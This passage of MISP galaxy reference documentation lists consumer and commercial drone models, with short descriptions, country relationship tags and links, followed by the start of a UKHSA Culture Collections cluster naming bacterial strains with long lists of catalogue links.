- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25442. Table References

Links
https://wildhornets.com/en/high-speed-drone-werewolf
https://dev.ua/en/news/naishvydshyi-fpv-1741158560

Mini 2/Mini 2 SE

The DJI Mini 2 is a sub-250 g, foldable consumer quadcopter designed for portable aerial imaging, offering a 4K camera on a 3-axis gimbal and roughly 30 minutes of electric flight. It serves recreational and entry-level commercial photography/videography and basic visual reconnaissance roles, with no payload or weapon capability.

The tag is: *misp-galaxy:uavs="Mini 2/Mini 2 SE"*

View relationships graph

Mini 2/Mini 2 SE has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25443. Table References

Links
https://store.dji.com/fr/product/mini-2?vid=99411

Mini 3 Pro

The DJI Mini 3 Pro is a compact sub-250 g quadcopter designed for high-quality aerial imaging. It features a 1/1.3-inch camera capable of 4K HDR video and advanced photography. The drone offers obstacle sensing and intelligent flight modes despite its small size. With a maximum speed of 57.6 km/h, it provides stable performance in light winds. The Mini 3 Pro is widely used for recreational, professional, and dual-use observation tasks.

The tag is: *misp-galaxy:uavs="Mini 3 Pro"*

View relationships graph

Mini 3 Pro has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25444. Table References

Links
https://www.lesnumeriques.com/drone/dji-mini-3-pro-p68939/test.html

Mini 4 Pro

The DJI Mini 4 Pro is a sub-250 g electric VTOL quadcopter optimized for ISR, offering ~45 minutes endurance and a 57.6 km/h top speed with no weapon or payload capacity. Priced around $650, it serves as a compact, low-signature reconnaissance platform and has seen use by Russian and Ukrainian operators.

The tag is: *misp-galaxy:uavs="Mini 4 Pro"*

View relationships graph

Mini 4 Pro has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25445. Table References

Links
https://oscarliang.com/dji-mini-5-pro

Mini 4K

The DJI Mini 4K is a sub-250 g electric quadcopter (C0) with about 30 minutes endurance, ~58 km/h top speed, and stabilized 4K video, making it a portable, low-signature platform for short-range ISR. Unarmed and payload-limited, it has been used by Russian and Ukrainian units as a low-cost spotter for reconnaissance and battlefield awareness.

The tag is: *misp-galaxy:uavs="Mini 4K"*

View relationships graph

Mini 4K has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25446. Table References

Links
https://store.dji.com/fr/product/dji-mini-4k

X8 Pro

The FIMI X8 Pro is primarily used for civil aerial imaging, mapping, inspection, and situational observation, benefiting from long endurance and stable flight. In security and crisis-response roles, it is employed by law enforcement and emergency services for overwatch and public-safety monitoring (source: FIMI official product documentation). There is no confirmed evidence of official military adoption, but OSINT reporting shows occasional opportunistic use of FIMI X8–series drones by non-state or irregular forces for reconnaissance, similar to other COTS drones (sources: ICRC 2022; CAR reports on commercial drones in conflict). The platform can be fitted with an optional loudspeaker module, enabling voice broadcast, warnings, or instructions during police or emergency operations (source: FIMI accessory documentation).

The tag is: *misp-galaxy:uavs="X8 Pro"*

View relationships graph

X8 Pro has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25447. Table References

Links
https://www.fimi.com/fimi-x8-pro.html

X8 SE

The FIMI X8 SE is a foldable consumer drone designed for aerial photography, mapping, and long-endurance observation in civil contexts. It is widely used by professional operators, surveyors, and emergency responders for situational awareness and area monitoring (source: FIMI official documentation). There is no confirmed evidence of official military procurement, but OSINT and analytical reports indicate occasional ad-hoc use of X8-series drones by non-state or irregular actors, consistent with broader COTS drone usage in conflicts (sources: ICRC 2022; Conflict Armament Research reports). The platform supports accessory payloads, including an optional loudspeaker, enabling voice broadcast for public safety, crowd warning, or emergency instructions (source: FIMI accessories catalogue). Overall, the X8 SE remains a civil C1-class drone, with any

military-related use assessed as opportunistic and non-doctrinal, rather than standardised service adoption.

The tag is: *misp-galaxy:uavs="X8 SE"*

View relationships graph

X8 SE has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25448. Table References

Links
https://www.fimi.com/fimi-x8-se.html

DragonFish 25

The Dragonfish-25 is a large VTOL fixed-wing unmanned aerial system (UAS) designed for long-endurance ISR and professional missions. It combines vertical take-off and landing with efficient fixed-wing cruise, allowing deployment without runways while retaining high endurance and range.

The tag is: *misp-galaxy:uavs="DragonFish 25"*

View relationships graph

DragonFish 25 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25449. Table References

Links
https://www.autelrobotics.com/productdetail/dragonfish-25/

Avata 2

DJI Avata 2 is a compact, ducted FPV VTOL designed for immersive first-person piloting and close-quarters aerial cinematography, offering up to ~23 minutes endurance and a 97 km/h top speed under C1 classification. With no payload or weapon capability and a ~$1,000 price, it is used for recreational and professional visual capture—including agile indoor/outdoor shots.

The tag is: *misp-galaxy:uavs="Avata 2"*

View relationships graph

Avata 2 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25450. Table References

Links
https://www.dji.com/fr/avata-2/specs

Neo

The tag is: *misp-galaxy:uavs="Neo"*

View relationships graph

Neo has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25451. Table References

Links
https://www.dji.com/fr/neo/specs

Neo 2

The tag is: *misp-galaxy:uavs="Neo 2"*

View relationships graph

Neo 2 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25452. Table References

Links
https://www.dji.com/fr/neo-2/specs

Evo Max 4T

The tag is: *misp-galaxy:uavs="Evo Max 4T"*

View relationships graph

Evo Max 4T has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25453. Table References

Links
https://www.autelrobotics.com/productdetail/evo-max-4t/#jsgg

UKHSA Culture Collections

UK Health Security Agency Culture Collections represent deposits of cultures that consist of expertly preserved, authenticated cell lines and microbial strains of known provenance..

UKHSA Culture Collections is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

UK Health Security Agency

Vibrio cholerae non O:1

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio cholerae non O:1"*

Table 25454. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-non-o1
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-non-o1-10
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-non-o1-11
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-non-o1-9
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-non-o1-6
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-non-o1-8
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-non-o1-5
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-non-o1-2
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-non-o1-3
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-non-o1-4

Eikenella exigua

The tag is: *misp-galaxy:ukhsa-culture-collections="Eikenella exigua"*

Table 25455. Table References

Links
https://www.culturecollections.org.uk/nop/product/eikenella-exigua-2
https://www.culturecollections.org.uk/nop/product/eikenella-exigua

Yersinia canariae

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia canariae"*

Table 25456. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-canariae

Staphylococcus epidermidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus epidermidis"*

Table 25457. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-12
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-11
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-13
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-9
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-10
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-8
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-5
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-7
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-3
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-2
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-6
https://www.culturecollections.org.uk/nop/product/staphylococcus-epidermidis-4

Escherichia coli

The tag is: *misp-galaxy:ukhsa-culture-collections="Escherichia coli"*

Table 25458. Table References

Links
https://www.culturecollections.org.uk/nop/product/escherichia-coli-448
https://www.culturecollections.org.uk/nop/product/escherichia-coli-438
https://www.culturecollections.org.uk/nop/product/escherichia-coli-133
https://www.culturecollections.org.uk/nop/product/escherichia-coli-6

https://www.culturecollections.org.uk/nop/product/escherichia-coli-458
https://www.culturecollections.org.uk/nop/product/escherichia-coli-457
https://www.culturecollections.org.uk/nop/product/escherichia-coli-456
https://www.culturecollections.org.uk/nop/product/escherichia-coli-151
https://www.culturecollections.org.uk/nop/product/escherichia-coli-53
https://www.culturecollections.org.uk/nop/product/escherichia-coli-73
https://www.culturecollections.org.uk/nop/product/escherichia-coli-61
https://www.culturecollections.org.uk/nop/product/escherichia-coli-82
https://www.culturecollections.org.uk/nop/product/escherichia-coli-31
https://www.culturecollections.org.uk/nop/product/escherichia-coli-35
https://www.culturecollections.org.uk/nop/product/escherichia-coli-38
https://www.culturecollections.org.uk/nop/product/escherichia-coli-54
https://www.culturecollections.org.uk/nop/product/escherichia-coli-206
https://www.culturecollections.org.uk/nop/product/escherichia-coli-225
https://www.culturecollections.org.uk/nop/product/escherichia-coli-249
https://www.culturecollections.org.uk/nop/product/escherichia-coli-262
https://www.culturecollections.org.uk/nop/product/escherichia-coli-264
https://www.culturecollections.org.uk/nop/product/escherichia-coli-265
https://www.culturecollections.org.uk/nop/product/escherichia-coli-363
https://www.culturecollections.org.uk/nop/product/escherichia-coli-280
https://www.culturecollections.org.uk/nop/product/escherichia-coli-364
https://www.culturecollections.org.uk/nop/product/escherichia-coli-365
https://www.culturecollections.org.uk/nop/product/escherichia-coli-366
https://www.culturecollections.org.uk/nop/product/escherichia-coli-367
https://www.culturecollections.org.uk/nop/product/escherichia-coli-353
https://www.culturecollections.org.uk/nop/product/escherichia-coli-355
https://www.culturecollections.org.uk/nop/product/escherichia-coli-354
https://www.culturecollections.org.uk/nop/product/escherichia-coli-356
https://www.culturecollections.org.uk/nop/product/escherichia-coli-357
https://www.culturecollections.org.uk/nop/product/escherichia-coli-358
https://www.culturecollections.org.uk/nop/product/escherichia-coli-359
https://www.culturecollections.org.uk/nop/product/escherichia-coli-371
https://www.culturecollections.org.uk/nop/product/escherichia-coli-455
https://www.culturecollections.org.uk/nop/product/escherichia-coli

https://www.culturecollections.org.uk/nop/product/escherichia-coli-454
https://www.culturecollections.org.uk/nop/product/escherichia-coli-453
https://www.culturecollections.org.uk/nop/product/escherichia-coli-452
https://www.culturecollections.org.uk/nop/product/escherichia-coli-451
https://www.culturecollections.org.uk/nop/product/escherichia-coli-450
https://www.culturecollections.org.uk/nop/product/escherichia-coli-449
https://www.culturecollections.org.uk/nop/product/escherichia-coli-447
https://www.culturecollections.org.uk/nop/product/escherichia-coli-446
https://www.culturecollections.org.uk/nop/product/escherichia-coli-445
https://www.culturecollections.org.uk/nop/product/escherichia-coli-442
https://www.culturecollections.org.uk/nop/product/escherichia-coli-443
https://www.culturecollections.org.uk/nop/product/escherichia-coli-444
https://www.culturecollections.org.uk/nop/product/escherichia-coli-441
https://www.culturecollections.org.uk/nop/product/escherichia-coli-440
https://www.culturecollections.org.uk/nop/product/escherichia-coli-439
https://www.culturecollections.org.uk/nop/product/escherichia-coli-437
https://www.culturecollections.org.uk/nop/product/escherichia-coli-436
https://www.culturecollections.org.uk/nop/product/escherichia-coli-370
https://www.culturecollections.org.uk/nop/product/escherichia-coli-435
https://www.culturecollections.org.uk/nop/product/escherichia-coli-434
https://www.culturecollections.org.uk/nop/product/escherichia-coli-433
https://www.culturecollections.org.uk/nop/product/escherichia-coli-432
https://www.culturecollections.org.uk/nop/product/escherichia-coli-431
https://www.culturecollections.org.uk/nop/product/escherichia-coli-430
https://www.culturecollections.org.uk/nop/product/escherichia-coli-429
https://www.culturecollections.org.uk/nop/product/escherichia-coli-428
https://www.culturecollections.org.uk/nop/product/escherichia-coli-427
https://www.culturecollections.org.uk/nop/product/escherichia-coli-426
https://www.culturecollections.org.uk/nop/product/escherichia-coli-425
https://www.culturecollections.org.uk/nop/product/escherichia-coli-368
https://www.culturecollections.org.uk/nop/product/escherichia-coli-377
https://www.culturecollections.org.uk/nop/product/escherichia-coli-384
https://www.culturecollections.org.uk/nop/product/escherichia-coli-378
https://www.culturecollections.org.uk/nop/product/escherichia-coli-379

https://www.culturecollections.org.uk/nop/product/escherichia-coli-380
https://www.culturecollections.org.uk/nop/product/escherichia-coli-381
https://www.culturecollections.org.uk/nop/product/escherichia-coli-382
https://www.culturecollections.org.uk/nop/product/escherichia-coli-383
https://www.culturecollections.org.uk/nop/product/escherichia-coli-385
https://www.culturecollections.org.uk/nop/product/escherichia-coli-386
https://www.culturecollections.org.uk/nop/product/escherichia-coli-387
https://www.culturecollections.org.uk/nop/product/escherichia-coli-388
https://www.culturecollections.org.uk/nop/product/escherichia-coli-389
https://www.culturecollections.org.uk/nop/product/escherichia-coli-390
https://www.culturecollections.org.uk/nop/product/escherichia-coli-403
https://www.culturecollections.org.uk/nop/product/escherichia-coli-424
https://www.culturecollections.org.uk/nop/product/escherichia-coli-422
https://www.culturecollections.org.uk/nop/product/escherichia-coli-277
https://www.culturecollections.org.uk/nop/product/escherichia-coli-410
https://www.culturecollections.org.uk/nop/product/escherichia-coli-417
https://www.culturecollections.org.uk/nop/product/escherichia-coli-411
https://www.culturecollections.org.uk/nop/product/escherichia-coli-412
https://www.culturecollections.org.uk/nop/product/escherichia-coli-413
https://www.culturecollections.org.uk/nop/product/escherichia-coli-405
https://www.culturecollections.org.uk/nop/product/escherichia-coli-406
https://www.culturecollections.org.uk/nop/product/escherichia-coli-394
https://www.culturecollections.org.uk/nop/product/escherichia-coli-395
https://www.culturecollections.org.uk/nop/product/escherichia-coli-396
https://www.culturecollections.org.uk/nop/product/escherichia-coli-397
https://www.culturecollections.org.uk/nop/product/escherichia-coli-398
https://www.culturecollections.org.uk/nop/product/escherichia-coli-407
https://www.culturecollections.org.uk/nop/product/escherichia-coli-399
https://www.culturecollections.org.uk/nop/product/escherichia-coli-392
https://www.culturecollections.org.uk/nop/product/escherichia-coli-400
https://www.culturecollections.org.uk/nop/product/escherichia-coli-408
https://www.culturecollections.org.uk/nop/product/escherichia-coli-418
https://www.culturecollections.org.uk/nop/product/escherichia-coli-409
https://www.culturecollections.org.uk/nop/product/escherichia-coli-401

https://www.culturecollections.org.uk/nop/product/escherichia-coli-402
https://www.culturecollections.org.uk/nop/product/escherichia-coli-404
https://www.culturecollections.org.uk/nop/product/escherichia-coli-414
https://www.culturecollections.org.uk/nop/product/escherichia-coli-415
https://www.culturecollections.org.uk/nop/product/escherichia-coli-416
https://www.culturecollections.org.uk/nop/product/escherichia-coli-5
https://www.culturecollections.org.uk/nop/product/escherichia-coli-18
https://www.culturecollections.org.uk/nop/product/escherichia-coli-46
https://www.culturecollections.org.uk/nop/product/escherichia-coli-179
https://www.culturecollections.org.uk/nop/product/escherichia-coli-180
https://www.culturecollections.org.uk/nop/product/escherichia-coli-199
https://www.culturecollections.org.uk/nop/product/escherichia-coli-372
https://www.culturecollections.org.uk/nop/product/escherichia-coli-376
https://www.culturecollections.org.uk/nop/product/escherichia-coli-373
https://www.culturecollections.org.uk/nop/product/escherichia-coli-374
https://www.culturecollections.org.uk/nop/product/escherichia-coli-375
https://www.culturecollections.org.uk/nop/product/escherichia-coli-419
https://www.culturecollections.org.uk/nop/product/escherichia-coli-420
https://www.culturecollections.org.uk/nop/product/escherichia-coli-393
https://www.culturecollections.org.uk/nop/product/escherichia-coli-423
https://www.culturecollections.org.uk/nop/product/escherichia-coli-421
https://www.culturecollections.org.uk/nop/product/escherichia-coli-195
https://www.culturecollections.org.uk/nop/product/escherichia-coli-306
https://www.culturecollections.org.uk/nop/product/escherichia-coli-291
https://www.culturecollections.org.uk/nop/product/escherichia-coli-290
https://www.culturecollections.org.uk/nop/product/escherichia-coli-289
https://www.culturecollections.org.uk/nop/product/escherichia-coli-288
https://www.culturecollections.org.uk/nop/product/escherichia-coli-287
https://www.culturecollections.org.uk/nop/product/escherichia-coli-369
https://www.culturecollections.org.uk/nop/product/escherichia-coli-216
https://www.culturecollections.org.uk/nop/product/escherichia-coli-76
https://www.culturecollections.org.uk/nop/product/escherichia-coli-58
https://www.culturecollections.org.uk/nop/product/escherichia-coli-67
https://www.culturecollections.org.uk/nop/product/escherichia-coli-293

https://www.culturecollections.org.uk/nop/product/escherichia-coli-268
https://www.culturecollections.org.uk/nop/product/escherichia-coli-266
https://www.culturecollections.org.uk/nop/product/escherichia-coli-172
https://www.culturecollections.org.uk/nop/product/escherichia-coli-41
https://www.culturecollections.org.uk/nop/product/escherichia-coli-3
https://www.culturecollections.org.uk/nop/product/escherichia-coli-2
https://www.culturecollections.org.uk/nop/product/escherichia-coli-178
https://www.culturecollections.org.uk/nop/product/escherichia-coli-282
https://www.culturecollections.org.uk/nop/product/escherichia-coli-281
https://www.culturecollections.org.uk/nop/product/escherichia-coli-299
https://www.culturecollections.org.uk/nop/product/escherichia-coli-298
https://www.culturecollections.org.uk/nop/product/escherichia-coli-16
https://www.culturecollections.org.uk/nop/product/escherichia-coli-294
https://www.culturecollections.org.uk/nop/product/escherichia-coli-275
https://www.culturecollections.org.uk/nop/product/escherichia-coli-274
https://www.culturecollections.org.uk/nop/product/escherichia-coli-273
https://www.culturecollections.org.uk/nop/product/escherichia-coli-272
https://www.culturecollections.org.uk/nop/product/escherichia-coli-271
https://www.culturecollections.org.uk/nop/product/escherichia-coli-270
https://www.culturecollections.org.uk/nop/product/escherichia-coli-267
https://www.culturecollections.org.uk/nop/product/escherichia-coli-263
https://www.culturecollections.org.uk/nop/product/escherichia-coli-261
https://www.culturecollections.org.uk/nop/product/escherichia-coli-260
https://www.culturecollections.org.uk/nop/product/escherichia-coli-259
https://www.culturecollections.org.uk/nop/product/escherichia-coli-257
https://www.culturecollections.org.uk/nop/product/escherichia-coli-256
https://www.culturecollections.org.uk/nop/product/escherichia-coli-254
https://www.culturecollections.org.uk/nop/product/escherichia-coli-253
https://www.culturecollections.org.uk/nop/product/escherichia-coli-252
https://www.culturecollections.org.uk/nop/product/escherichia-coli-251
https://www.culturecollections.org.uk/nop/product/escherichia-coli-250
https://www.culturecollections.org.uk/nop/product/escherichia-coli-248
https://www.culturecollections.org.uk/nop/product/escherichia-coli-247
https://www.culturecollections.org.uk/nop/product/escherichia-coli-246

https://www.culturecollections.org.uk/nop/product/escherichia-coli-245
https://www.culturecollections.org.uk/nop/product/escherichia-coli-244
https://www.culturecollections.org.uk/nop/product/escherichia-coli-242
https://www.culturecollections.org.uk/nop/product/escherichia-coli-241
https://www.culturecollections.org.uk/nop/product/escherichia-coli-240
https://www.culturecollections.org.uk/nop/product/escherichia-coli-239
https://www.culturecollections.org.uk/nop/product/escherichia-coli-238
https://www.culturecollections.org.uk/nop/product/escherichia-coli-236
https://www.culturecollections.org.uk/nop/product/escherichia-coli-235
https://www.culturecollections.org.uk/nop/product/escherichia-coli-233
https://www.culturecollections.org.uk/nop/product/escherichia-coli-232
https://www.culturecollections.org.uk/nop/product/escherichia-coli-231
https://www.culturecollections.org.uk/nop/product/escherichia-coli-205
https://www.culturecollections.org.uk/nop/product/escherichia-coli-229
https://www.culturecollections.org.uk/nop/product/escherichia-coli-228
https://www.culturecollections.org.uk/nop/product/escherichia-coli-227
https://www.culturecollections.org.uk/nop/product/escherichia-coli-226
https://www.culturecollections.org.uk/nop/product/escherichia-coli-224
https://www.culturecollections.org.uk/nop/product/escherichia-coli-223
https://www.culturecollections.org.uk/nop/product/escherichia-coli-222
https://www.culturecollections.org.uk/nop/product/escherichia-coli-221
https://www.culturecollections.org.uk/nop/product/escherichia-coli-220
https://www.culturecollections.org.uk/nop/product/escherichia-coli-219
https://www.culturecollections.org.uk/nop/product/escherichia-coli-218
https://www.culturecollections.org.uk/nop/product/escherichia-coli-217
https://www.culturecollections.org.uk/nop/product/escherichia-coli-211
https://www.culturecollections.org.uk/nop/product/escherichia-coli-210
https://www.culturecollections.org.uk/nop/product/escherichia-coli-209
https://www.culturecollections.org.uk/nop/product/escherichia-coli-207
https://www.culturecollections.org.uk/nop/product/escherichia-coli-201
https://www.culturecollections.org.uk/nop/product/escherichia-coli-164
https://www.culturecollections.org.uk/nop/product/escherichia-coli-163
https://www.culturecollections.org.uk/nop/product/escherichia-coli-182
https://www.culturecollections.org.uk/nop/product/escherichia-coli-198

https://www.culturecollections.org.uk/nop/product/escherichia-coli-197
https://www.culturecollections.org.uk/nop/product/escherichia-coli-196
https://www.culturecollections.org.uk/nop/product/escherichia-coli-192
https://www.culturecollections.org.uk/nop/product/escherichia-coli-191
https://www.culturecollections.org.uk/nop/product/escherichia-coli-190
https://www.culturecollections.org.uk/nop/product/escherichia-coli-189
https://www.culturecollections.org.uk/nop/product/escherichia-coli-188
https://www.culturecollections.org.uk/nop/product/escherichia-coli-187
https://www.culturecollections.org.uk/nop/product/escherichia-coli-186
https://www.culturecollections.org.uk/nop/product/escherichia-coli-185
https://www.culturecollections.org.uk/nop/product/escherichia-coli-184
https://www.culturecollections.org.uk/nop/product/escherichia-coli-183
https://www.culturecollections.org.uk/nop/product/escherichia-coli-181
https://www.culturecollections.org.uk/nop/product/escherichia-coli-174
https://www.culturecollections.org.uk/nop/product/escherichia-coli-173
https://www.culturecollections.org.uk/nop/product/escherichia-coli-171
https://www.culturecollections.org.uk/nop/product/escherichia-coli-170
https://www.culturecollections.org.uk/nop/product/escherichia-coli-169
https://www.culturecollections.org.uk/nop/product/escherichia-coli-168
https://www.culturecollections.org.uk/nop/product/escherichia-coli-167
https://www.culturecollections.org.uk/nop/product/escherichia-coli-166
https://www.culturecollections.org.uk/nop/product/escherichia-coli-161
https://www.culturecollections.org.uk/nop/product/escherichia-coli-160
https://www.culturecollections.org.uk/nop/product/escherichia-coli-159
https://www.culturecollections.org.uk/nop/product/escherichia-coli-158
https://www.culturecollections.org.uk/nop/product/escherichia-coli-157
https://www.culturecollections.org.uk/nop/product/escherichia-coli-156
https://www.culturecollections.org.uk/nop/product/escherichia-coli-155
https://www.culturecollections.org.uk/nop/product/escherichia-coli-154
https://www.culturecollections.org.uk/nop/product/escherichia-coli-153
https://www.culturecollections.org.uk/nop/product/escherichia-coli-152
https://www.culturecollections.org.uk/nop/product/escherichia-coli-150
https://www.culturecollections.org.uk/nop/product/escherichia-coli-149
https://www.culturecollections.org.uk/nop/product/escherichia-coli-148

https://www.culturecollections.org.uk/nop/product/escherichia-coli-147
https://www.culturecollections.org.uk/nop/product/escherichia-coli-146
https://www.culturecollections.org.uk/nop/product/escherichia-coli-145
https://www.culturecollections.org.uk/nop/product/escherichia-coli-144
https://www.culturecollections.org.uk/nop/product/escherichia-coli-143
https://www.culturecollections.org.uk/nop/product/escherichia-coli-63
https://www.culturecollections.org.uk/nop/product/escherichia-coli-62
https://www.culturecollections.org.uk/nop/product/escherichia-coli-142
https://www.culturecollections.org.uk/nop/product/escherichia-coli-141
https://www.culturecollections.org.uk/nop/product/escherichia-coli-140
https://www.culturecollections.org.uk/nop/product/escherichia-coli-139
https://www.culturecollections.org.uk/nop/product/escherichia-coli-138
https://www.culturecollections.org.uk/nop/product/escherichia-coli-137
https://www.culturecollections.org.uk/nop/product/escherichia-coli-136
https://www.culturecollections.org.uk/nop/product/escherichia-coli-135
https://www.culturecollections.org.uk/nop/product/escherichia-coli-134
https://www.culturecollections.org.uk/nop/product/escherichia-coli-132
https://www.culturecollections.org.uk/nop/product/escherichia-coli-131
https://www.culturecollections.org.uk/nop/product/escherichia-coli-130
https://www.culturecollections.org.uk/nop/product/escherichia-coli-30
https://www.culturecollections.org.uk/nop/product/escherichia-coli-129
https://www.culturecollections.org.uk/nop/product/escherichia-coli-128
https://www.culturecollections.org.uk/nop/product/escherichia-coli-127
https://www.culturecollections.org.uk/nop/product/escherichia-coli-126
https://www.culturecollections.org.uk/nop/product/escherichia-coli-125
https://www.culturecollections.org.uk/nop/product/escherichia-coli-124
https://www.culturecollections.org.uk/nop/product/escherichia-coli-123
https://www.culturecollections.org.uk/nop/product/escherichia-coli-122
https://www.culturecollections.org.uk/nop/product/escherichia-coli-121
https://www.culturecollections.org.uk/nop/product/escherichia-coli-120
https://www.culturecollections.org.uk/nop/product/escherichia-coli-119
https://www.culturecollections.org.uk/nop/product/escherichia-coli-118
https://www.culturecollections.org.uk/nop/product/escherichia-coli-117
https://www.culturecollections.org.uk/nop/product/escherichia-coli-116

https://www.culturecollections.org.uk/nop/product/escherichia-coli-115
https://www.culturecollections.org.uk/nop/product/escherichia-coli-114
https://www.culturecollections.org.uk/nop/product/escherichia-coli-113
https://www.culturecollections.org.uk/nop/product/escherichia-coli-112
https://www.culturecollections.org.uk/nop/product/escherichia-coli-29
https://www.culturecollections.org.uk/nop/product/escherichia-coli-111
https://www.culturecollections.org.uk/nop/product/escherichia-coli-110
https://www.culturecollections.org.uk/nop/product/escherichia-coli-109
https://www.culturecollections.org.uk/nop/product/escherichia-coli-108
https://www.culturecollections.org.uk/nop/product/escherichia-coli-107
https://www.culturecollections.org.uk/nop/product/escherichia-coli-106
https://www.culturecollections.org.uk/nop/product/escherichia-coli-105
https://www.culturecollections.org.uk/nop/product/escherichia-coli-104
https://www.culturecollections.org.uk/nop/product/escherichia-coli-103
https://www.culturecollections.org.uk/nop/product/escherichia-coli-102
https://www.culturecollections.org.uk/nop/product/escherichia-coli-101
https://www.culturecollections.org.uk/nop/product/escherichia-coli-100
https://www.culturecollections.org.uk/nop/product/escherichia-coli-99
https://www.culturecollections.org.uk/nop/product/escherichia-coli-98
https://www.culturecollections.org.uk/nop/product/escherichia-coli-97
https://www.culturecollections.org.uk/nop/product/escherichia-coli-96
https://www.culturecollections.org.uk/nop/product/escherichia-coli-95
https://www.culturecollections.org.uk/nop/product/escherichia-coli-94
https://www.culturecollections.org.uk/nop/product/escherichia-coli-93
https://www.culturecollections.org.uk/nop/product/escherichia-coli-92
https://www.culturecollections.org.uk/nop/product/escherichia-coli-91
https://www.culturecollections.org.uk/nop/product/escherichia-coli-90
https://www.culturecollections.org.uk/nop/product/escherichia-coli-89
https://www.culturecollections.org.uk/nop/product/escherichia-coli-88
https://www.culturecollections.org.uk/nop/product/escherichia-coli-87
https://www.culturecollections.org.uk/nop/product/escherichia-coli-86
https://www.culturecollections.org.uk/nop/product/escherichia-coli-85
https://www.culturecollections.org.uk/nop/product/escherichia-coli-84
https://www.culturecollections.org.uk/nop/product/escherichia-coli-83

https://www.culturecollections.org.uk/nop/product/escherichia-coli-81
https://www.culturecollections.org.uk/nop/product/escherichia-coli-80
https://www.culturecollections.org.uk/nop/product/escherichia-coli-60
https://www.culturecollections.org.uk/nop/product/escherichia-coli-79
https://www.culturecollections.org.uk/nop/product/escherichia-coli-78
https://www.culturecollections.org.uk/nop/product/escherichia-coli-77
https://www.culturecollections.org.uk/nop/product/escherichia-coli-75
https://www.culturecollections.org.uk/nop/product/escherichia-coli-74
https://www.culturecollections.org.uk/nop/product/escherichia-coli-72
https://www.culturecollections.org.uk/nop/product/escherichia-coli-71
https://www.culturecollections.org.uk/nop/product/escherichia-coli-70
https://www.culturecollections.org.uk/nop/product/escherichia-coli-69
https://www.culturecollections.org.uk/nop/product/escherichia-coli-68
https://www.culturecollections.org.uk/nop/product/escherichia-coli-66
https://www.culturecollections.org.uk/nop/product/escherichia-coli-65
https://www.culturecollections.org.uk/nop/product/escherichia-coli-64
https://www.culturecollections.org.uk/nop/product/escherichia-coli-59
https://www.culturecollections.org.uk/nop/product/escherichia-coli-57
https://www.culturecollections.org.uk/nop/product/escherichia-coli-56
https://www.culturecollections.org.uk/nop/product/escherichia-coli-55
https://www.culturecollections.org.uk/nop/product/escherichia-coli-52
https://www.culturecollections.org.uk/nop/product/escherichia-coli-51
https://www.culturecollections.org.uk/nop/product/escherichia-coli-50
https://www.culturecollections.org.uk/nop/product/escherichia-coli-49
https://www.culturecollections.org.uk/nop/product/escherichia-coli-48
https://www.culturecollections.org.uk/nop/product/escherichia-coli-47
https://www.culturecollections.org.uk/nop/product/escherichia-coli-42
https://www.culturecollections.org.uk/nop/product/escherichia-coli-40
https://www.culturecollections.org.uk/nop/product/escherichia-coli-39
https://www.culturecollections.org.uk/nop/product/escherichia-coli-37
https://www.culturecollections.org.uk/nop/product/escherichia-coli-36
https://www.culturecollections.org.uk/nop/product/escherichia-coli-362
https://www.culturecollections.org.uk/nop/product/escherichia-coli-32
